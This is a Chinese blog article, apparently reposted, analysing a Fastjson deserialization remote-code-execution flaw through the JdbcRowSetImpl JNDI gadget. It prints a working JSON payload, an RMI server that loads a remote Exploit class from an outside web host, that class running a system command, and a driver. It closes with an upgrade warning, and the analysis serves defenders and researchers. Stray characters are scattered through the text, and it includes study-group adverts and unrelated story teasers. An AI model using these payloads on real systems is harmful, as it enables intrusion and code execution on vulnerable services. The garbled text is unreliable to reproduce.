基于JdbcRowSetImpl的Fastjson RCE PoC構(gòu)造與分析

這篇文章主要是基于我在看雪2017開發(fā)者峰會的演講而來宗弯,由于時間和聽眾對象的關(guān)系,在大會上主要精力都集中在反序列化的防御上届慈。前面的Fastjson PoC的構(gòu)造分析涉及得很少溜徙,另外我在5月份分享的Fastjson Poc構(gòu)造與分析限制條件太多市怎,所以寫下這篇文章陨亡。

Fastjson 使用

Fastjson是Alibaba開發(fā)的傍衡,Java語言編寫的高性能JSON庫苇瓣。采用“假定有序快速匹配”的算法尖昏,號稱Java語言中最快的JSON庫哺徊。Fastjson接口簡單易用,廣泛使用在緩存序列化遮糖、協(xié)議交互、Web輸出叠赐、Android客戶端

提供兩個主要接口toJsonString和parseObject來分別實現(xiàn)序列化和反序列化欲账。項目地址:?https://github.com/alibaba/fastjson?屡江。那我們看下如何使用?首先定義一個User.java,代碼如下:

publicclassUser{privateLongid;privateString name;publicLonggetId(){returnid;? ? }publicvoid setId(Longid){this.id = id;? ? }publicString getName(){returnname;? ? }publicvoid setName(String name){this.name = name;? ? }}

進群:697699179可以獲取Java各類入門學(xué)習(xí)資料赛不!

這是我的微信公眾號【編程study】各位大佬有空可以關(guān)注下惩嘉,每天更新Java學(xué)習(xí)方法,感謝踢故!

學(xué)習(xí)中遇到問題有不明白的地方文黎,推薦加小編Java學(xué)習(xí)群:697699179內(nèi)有視頻教程 ,直播課程 殿较,等學(xué)習(xí)資料耸峭,期待你的加入

【視頻】

序列化的代碼如下:

importcom.alibaba.fastjson.JSON;User guestUser =newUser();guestUser.setId(2L);guestUser.setName("guest");StringjsonString =JSON.toJSONString(guestUser);System.out.println(jsonString);

反序列化的代碼示例:

StringjsonString ="{\"name\":\"guest\",\"id\":12}";User user = JSON.parseObject(jsonString, User.class);

上述代碼的parseObject也可以直接用parse接口。

Fastjson安全特性

反序列化的Gadget需要無參默認構(gòu)造方法或者注解指定構(gòu)造方法并添加相應(yīng)參數(shù)淋纲。使用Feature.SupportNonPublicField才能打開非公有屬性的反序列化處理劳闹,@type可以指定反序列化任意類,調(diào)用其set洽瞬,get本涕,is方法。

上圖則是Fastjson反序列框架圖伙窃。JSON門面類偏友,提供一些靜態(tài)方法,如parse对供,parseObject.其主要功能都是在DefaultJSONParser類中實現(xiàn)位他。DefaultJSONParser引用了ParserConfig,主要保存一些相關(guān)配置信息产场。也引用了JSONLexerBase鹅髓,這個類用來處理字符分析。而反序列化用到的JavaBeanDeserializer則是JavaBean反序列化處理主類京景。fastjson在1.2.24版本添加enable_autotype開關(guān)窿冯,將一些類加到黑名單中,后續(xù)我也給它報過bypass确徙,fastjson也一并修復(fù)醒串。

JNDI

JNDI即Java Naming and Directory Interface,翻譯成中文就Java命令和目錄接口鄙皇,2016年的blackhat大會上web議題重點講到芜赌,但是對于json這一塊沒有涉及。JNDI提供了很多實現(xiàn)方式伴逸,主要有RMI缠沈,LDAP,CORBA等。我們可以看一下它的架構(gòu)圖

!(2)[/images/JdbcRowSetImpl_2.png]洲愤,JNDI提供了一個統(tǒng)一的外部接口颓芭,底層SPI則是多樣的。在使用JNDIReferences的時候可以遠程加載外部的對象柬赐,即實現(xiàn)factory的初始化亡问。如果說其lookup方法的參數(shù)是我們可以控制的,可以將其參數(shù)指向我們控制的RMI服務(wù)肛宋,切換到我們控制的RMI/LDAP服務(wù)等等玛界。

Registry registry = LocateRegistry.createRegistry(1099);//http://xxlegend.com/Exploit.classReference reference = new javax.naming.Reference(“Exploit",“Exploit","http://xxlegend.com/");ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);registry.bind(“Exploit", referenceWrapper);

這段代碼主要講到了在1099端口上創(chuàng)建一個RMI服務(wù),RMI的內(nèi)容則是通過外部的http服務(wù)地址獲取悼吱。在客戶端則是將lookup的地址指向剛才我們創(chuàng)建的RMI服務(wù)慎框,即能達到遠程代碼執(zhí)行的目的『筇恚可以使用如下的請求端代碼進行測試:

Hashtableenv= new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:1099");Context ctx = new InitialContext(env);Object local_obj = RicterCctx.lookup("rmi://xxlegend.com/Exploit");

那么攻擊者的流程就是這樣的笨枯。攻擊者準備rmi服務(wù)和web服務(wù),將rmi絕對路徑注入到lookup方法中遇西,受害者JNDI接口會指向攻擊者控制rmi服務(wù)器馅精,JNDI接口向攻擊者控制web服務(wù)器遠程加載惡意代碼,執(zhí)行構(gòu)造函數(shù)形成RCE粱檀。

PoC構(gòu)造與分析

介紹的背景有點多洲敢,正式切入我們的正題,基于JdbcRowSetImpl的PoC是如何構(gòu)造和執(zhí)行的茄蚯。在今年5月份的時候压彭,我也公布了Fastjson基于TemplateImpl的PoC的,但是限制還比較多渗常,需要打開SupportNonPublic開關(guān)壮不,這個場景是比較少見的,詳細的分析見我的博客?http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/皱碘,后續(xù)ricterz也作了一篇分析:?https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up?询一。

在看雪峰會上我提到了好幾種PoC,下面我簡單的給這些PoC做個分類:

1癌椿,基于TemplateImpl

2健蕊,基于JNDI Bean Property類型

3,基于JNDI Field類型

今天主講基于JNDI Bean Property這個類型踢俄,這個類型和JNDI Field類型的區(qū)別就在于Bean Property需要借助setter缩功,getter方法觸發(fā),而Field類型則沒有這個必要褪贵。JdbcRowSetImpl剛好就在Bean Property分類之下掂之,其他的PoC后續(xù)再講。這個Poc相對于TemplateImpl卻沒有一點兒限制脆丁,當然java在JDK 6u132, 7u122, or 8u113補了是另外一碼事世舰。 PoC具體如下:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}

由于這個PoC是基于JNDI,下面我們簡單構(gòu)造一下槽卫,首先是服務(wù)端的代碼:

publicclassJNDIServer{publicstaticvoidstart()throwsAlreadyBoundException, RemoteException, NamingException{? ? ? ? Registry registry = LocateRegistry.createRegistry(1099);//http://xxlegend.com/Exploit.class即可Reference reference =newReference("Exloit","Exploit","http://xxlegend.com/");? ? ? ? ReferenceWrapper referenceWrapper =newReferenceWrapper(reference);? ? ? ? registry.bind("Exploit",referenceWrapper);? ? }publicstaticvoidmain(String[] args)throwsRemoteException, NamingException, AlreadyBoundException{? ? ? ? start();? ? }}

rmi服務(wù)端需要一個Exploit.class放到rmi指向的web服務(wù)器目錄下跟压,這個Exploit.class是一個factory,通過Exploit.java編譯得來歼培,在JNDI執(zhí)行的過程會被初始化震蒋。如下是Exploit.java的代碼:

publicclassExploit{publicExploit(){try{? ? ? ? ? ? Runtime.getRuntime().exec("calc");? ? ? ? }catch(Exception e){? ? ? ? ? ? e.printStackTrace();? ? ? ? }? ? }publicstaticvoidmain(String[] argv){? ? ? ? Exploit e =newExploit();? ? }}

服務(wù)端構(gòu)造好之后,下面來看java應(yīng)用執(zhí)行的代碼躲庄,示例如下:

public class JdbcRowSetImplPoc{? ? public static void main(String[] argv){? ? ? ? testJdbcRowSetImpl();? ? }? ? public static void testJdbcRowSetImpl(){? ? ? ? // String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\","+//" \"autoCommit\":true}";? ? ? ? String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\","+" \"autoCommit\":true}";? ? ? ? JSON.parse(payload);? ? }}

完整的代碼已經(jīng)放到

PoC調(diào)用棧如下![3](/images/JdbcRowSetImpl_3.png)從這個調(diào)用棧就可以看出查剖,在進入Gadget之前,首先是Java應(yīng)用調(diào)用Fastjson的parseObject或者parse接口噪窘,進入JavaObjectDeserializer.deserialize方法笋庄,經(jīng)過一系列判斷之后發(fā)現(xiàn)是JavaBean,就會調(diào)用JavaBeanDeserializer.deserialize接口,反序列化得到Gadget相關(guān)域倔监,在這個過程中都是通過反射調(diào)用這些域的getter直砂,setter或者is方法,這就正式在Gadget執(zhí)行代碼浩习。下面看一下在Gadget中執(zhí)行的代碼静暂。在反序列化過程中是有次序來調(diào)用相應(yīng)接口的,首先是設(shè)置dataSourceName屬性谱秽,這個是其父類BaseRowSet繼承過來的洽蛀。```javapublicvoidsetDataSourceName(String name) throws SQLException{if(name ==null) {? ? ? ? dataSource =null;? ? }elseif(name.equals("")){thrownewSQLException("DataSource name cannot be empty string");? ? }else{? ? ? dataSource = name;? ? }? ? URL =null;}

設(shè)置autoCommit屬性:

publicvoid setAutoCommit(boolean var1)throws SQLException {if(this.conn !=null) {this.conn.setAutoCommit(var1);? ? }else{this.conn =this.connect();this.conn.setAutoCommit(var1);? ? }}

這setAutoCommit里函數(shù)里會觸發(fā)connect函數(shù)。

privateConnection connect()throws SQLException {if(this.conn !=null) {returnthis.conn;? ? }elseif(this.getDataSourceName() !=null) {try{? ? ? ? ? ? InitialContext var1 = new InitialContext();? ? ? ? ? ? DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());returnthis.getUsername() !=null&& !this.getUsername().equals("")?var2.getConnection(this.getUsername(),this.getPassword()):var2.getConnection();? ? ? ? }catch(NamingException var3) {thrownew SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());? ? ? ? }? ? }else{returnthis.getUrl() !=null?DriverManager.getConnection(this.getUrl(),this.getUsername(),this.getPassword()):null;? ? }}

這里面就調(diào)用InitialContext的lookup方法疟赊,而且找到的就是我們前面設(shè)置的DataSourceName(),達到遠程調(diào)用任意類的目的辱士。由于JdbcRowSetImpl是官方自帶的庫,所以這個PoC的威力相對來說更厲害听绳。如果還在使用Fastjson 1.2.24版本及以下煩請升級颂碘。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市椅挣,隨后出現(xiàn)的幾起案子头岔,更是在濱河造成了極大的恐慌,老刑警劉巖鼠证,帶你破解...
    沈念sama閱讀 217,542評論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件峡竣,死亡現(xiàn)場離奇詭異,居然都是意外死亡量九,警方通過查閱死者的電腦和手機适掰,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,822評論 3 394
  • 文/潘曉璐 我一進店門颂碧,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人类浪,你說我怎么就攤上這事载城。” “怎么了费就?”我有些...
    開封第一講書人閱讀 163,912評論 0 354
  • 文/不壞的土叔 我叫張陵诉瓦,是天一觀的道長。 經(jīng)常有香客問我力细,道長睬澡,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,449評論 1 293
  • 正文 為了忘掉前任眠蚂,我火速辦了婚禮煞聪,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘逝慧。我一直安慰自己米绕,他們只是感情好,可當我...
    茶點故事閱讀 67,500評論 6 392
  • 文/花漫 我一把揭開白布馋艺。 她就那樣靜靜地躺著栅干,像睡著了一般。 火紅的嫁衣襯著肌膚如雪捐祠。 梳的紋絲不亂的頭發(fā)上碱鳞,一...
    開封第一講書人閱讀 51,370評論 1 302
  • 那天,我揣著相機與錄音踱蛀,去河邊找鬼窿给。 笑死,一個胖子當著我的面吹牛率拒,可吹牛的內(nèi)容都是我干的崩泡。 我是一名探鬼主播,決...
    沈念sama閱讀 40,193評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼猬膨,長吁一口氣:“原來是場噩夢啊……” “哼角撞!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起勃痴,我...
    開封第一講書人閱讀 39,074評論 0 276
  • 序言:老撾萬榮一對情侶失蹤谒所,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后沛申,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體劣领,經(jīng)...
    沈念sama閱讀 45,505評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,722評論 3 335
  • 正文 我和宋清朗相戀三年铁材,在試婚紗的時候發(fā)現(xiàn)自己被綠了尖淘。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片奕锌。...
    茶點故事閱讀 39,841評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖村生,靈堂內(nèi)的尸體忽然破棺而出惊暴,到底是詐尸還是另有隱情,我是刑警寧澤梆造,帶...
    沈念sama閱讀 35,569評論 5 345
  • 正文 年R本政府宣布缴守,位于F島的核電站葬毫,受9級特大地震影響镇辉,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜贴捡,卻給世界環(huán)境...
    茶點故事閱讀 41,168評論 3 328
  • 文/蒙蒙 一忽肛、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧烂斋,春花似錦屹逛、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,783評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至帘瞭,卻和暖如春淑掌,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背蝶念。 一陣腳步聲響...
    開封第一講書人閱讀 32,918評論 1 269
  • 我被黑心中介騙來泰國打工抛腕, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人媒殉。 一個月前我還...
    沈念sama閱讀 47,962評論 2 370
  • 正文 我出身青樓担敌,卻偏偏與公主長得像,于是被迫代替她去往敵國和親廷蓉。 傳聞我的和親對象是個殘疾皇子全封,可洞房花燭夜當晚...
    茶點故事閱讀 44,781評論 2 354

推薦閱讀更多精彩內(nèi)容